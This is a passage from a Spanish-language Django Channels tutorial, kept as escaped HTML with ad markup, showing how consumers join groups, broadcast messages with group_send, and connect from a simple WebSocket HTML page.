class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;broadcasting-con-un-channel-o-consumer&#34;&gt;Broadcasting con un channel o consumer&lt;/h2&gt;&#xA;&lt;p&gt;Tras agregar la configuración anterior, toca modificar nuestro &lt;em&gt;consumer&lt;/em&gt; para que envíe mensajes al resto de conexiones. En la entrada anterior te expliqué que &lt;strong&gt;cada consumer tiene las propiedades &lt;em&gt;channel_layer&lt;/em&gt; y &lt;em&gt;channel_name&lt;/em&gt;&lt;/strong&gt;, que se refieren al channel layer al que pertenecen y su propio nombre, respectivamente. Usaremos esas propiedades para obtener el channel layer al que pertenece y su nombre.&lt;/p&gt;&#xA;&lt;p&gt;Nuestro consumer seguirá manteniendo sus tres funciones principales: connect, disconnect y receive, pero con funcionalidad añadida.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AddToChannels-1.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/AddToChannels-1.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Esquema de groups y  channel layers en django channels&#34; width=&#34;1080&#34; height=&#34;1080&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Proceso mediante el cual un channel o consumer se une a un group.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/consumers.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; channels.generic.websocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; WebsocketConsumer&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; asgiref.sync &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; async_to_sync&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#f3f99d&#34;&gt;ChatConsumer&lt;/span&gt;(WebsocketConsumer):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;connect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_add)(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;accept()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;disconnect&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, close_code):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_discard)(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_name)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;receive&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, text_data):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            async_to_sync(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;channel_layer&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;group_send)(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;chat.message&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;: text_data,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            )&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;chat_message&lt;/span&gt;(&lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;, event):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;send(text_data&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;event[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;])&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Los cambios que hicimos fueron los siguientes:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Importamos la función &lt;em&gt;async_to_sync&lt;/em&gt;, que nos permite ejecutar código asíncrono de manera sincrona.&lt;/li&gt;&#xA;&lt;li&gt;Usamos el método &lt;em&gt;group_add&lt;/em&gt; para añadir un canal (recuerda que un consumer es una representación de un channel o canal) a un determinado grupo. O sea, añadir el canal/consumer actual al grupo llamado &amp;ldquo;chat&amp;rdquo;. En la imagen de arriba viene mejor explicado.&lt;/li&gt;&#xA;&lt;li&gt;En el caso de que un usuario se desconecte, lo removemos del grupo &amp;ldquo;chat&amp;rdquo; con &lt;em&gt;group_discard&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Ahora, cada que ves que recibamos un mensaje en un &lt;em&gt;consumer&lt;/em&gt;, este llamará al método &lt;strong&gt;&lt;em&gt;group_send&lt;/em&gt;&lt;/strong&gt; del channel layer al que pertenece, el cual se encargará de &lt;strong&gt;enviar los datos, en forma de diccionario, de manera automática a todos los integrantes activos del grupo &amp;ldquo;chat&amp;rdquo;&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;La llave type, le dirá al &lt;em&gt;consumer&lt;/em&gt; que método utilizar. La sintaxis es &lt;strong&gt;reemplazar el punto por un guión bajo&lt;/strong&gt;. Es decir que el type &lt;em&gt;chat.message&lt;/em&gt; ejecutará el método &lt;em&gt;chat_message&lt;/em&gt; de cada &lt;em&gt;consumer&lt;/em&gt; que lo reciba.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/GruposEnDjangoChannels.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/django-channels-channel-layers-groups-and-users/images/GruposEnDjangoChannels.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Proceso de un mensaje desde un websocket hasta un grupo de channel layers.&#34; width=&#34;1200&#34; height=&#34;1200&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Channel layer mandando información al grupo &amp;ldquo;chat&amp;rdquo; con su método group_send&lt;/p&gt;&#xA;&lt;h2 id=&#34;manejando-websockets-en-html&#34;&gt;Manejando websockets en HTML&lt;/h2&gt;&#xA;&lt;p&gt;Para simplificar la conexión con el websocket en el navegador, voy a tomar el código Javascript necesario para enviar un mensaje y lo voy a colocar en una plantilla HTML súper simple que residirá en &lt;em&gt;templates/index.html&lt;/em&gt;. Créala si no la tienes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-html&#34; data-lang=&#34;html&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;lang&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;charset&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;http-equiv&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;X-UA-Compatible&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;IE=edge&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;meta&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;viewport&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;content&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;width=device-width, initial-scale=1.0&amp;#34;&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;Document&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;title&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;head&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Se crea la conexión por websocket&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; chatSocket &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;new&lt;/span&gt; WebSocket(&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ws://&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;window&lt;/span&gt;.location.host&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;/ws/django/chat/&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        );&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Cada que se recibe un mensaje se lee y se imprime en pantalla&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    chatSocket.onmessage &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(e) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; data &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; JSON.parse(e.data);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            console.log(data)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;// Envia el texto &amp;#34;nuestro mensaje&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt; sendMessage() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff5c57&#34;&gt;let&lt;/span&gt; message &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;nuestro mensaje&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        chatSocket.send(JSON.stringify({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;message&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; message&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;script&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;onclick&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;sendMessage()&lt;/span&gt;&amp;gt;Enviar&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;button&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;body&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;html&lt;/span&gt;&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El código es prácticamente el mismo de la entrada anterior, solo he añadido el envío del mensaje a una función que se ejecutará cuando presionemos el botón.&lt;/p&gt;&#xA;&lt;p&gt;En nuestro archivo de &lt;em&gt;views.py&lt;/em&gt; de la app chat creamos la vista que se encarga de renderizar la plantilla&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# chat/views.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.shortcuts &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; render&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;useless_chat&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; render(request, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;index.html&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Y no olvidemos añadir esta vista a las urls de nuestro proyecto.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# mychannels/settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; django.urls &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; path&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; chat.views &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; useless_chat&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;urlpatterns &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;admin/&amp;#39;&lt;/span&gt;, admin&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;site&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;urls),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;chat/&amp;#39;&lt;/span&gt;, useless_chat)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¡Listo! Ahora viene lo interesante&amp;hellip; si abres dos ventanas se crearán dos &lt;em&gt;consumers&lt;/em&gt; y cada que un &lt;em&gt;consumer&lt;/em&gt; envíe un mensaje, este se recibirá en la app de Django y &lt;em&gt;self.channel_layer.group_send&lt;/em&gt; lo enviará al resto de los consumers, cuando lo reciban, cada consumer ejecutará su método &lt;em&gt;chat_message&lt;/em&gt;, el cual le enviará el texto que fue mandado.&lt;/p&gt;&#xA;&lt;p&gt;Observa como ambas pestañas reciben los mensajes enviados&lt;/p&gt;&#xA;&lt;h2 id=&#34;usuarios-en-django-channels&#34;&gt;Usuarios en django channels&lt;/h2&gt;&#xA;&lt;p&gt;¿Y los usuarios? Hasta ahora hemos manejado usuarios anónimos. Entérate de que la autenticación es bastante simple en django channels. Para incorporarla envolvemos nuestra 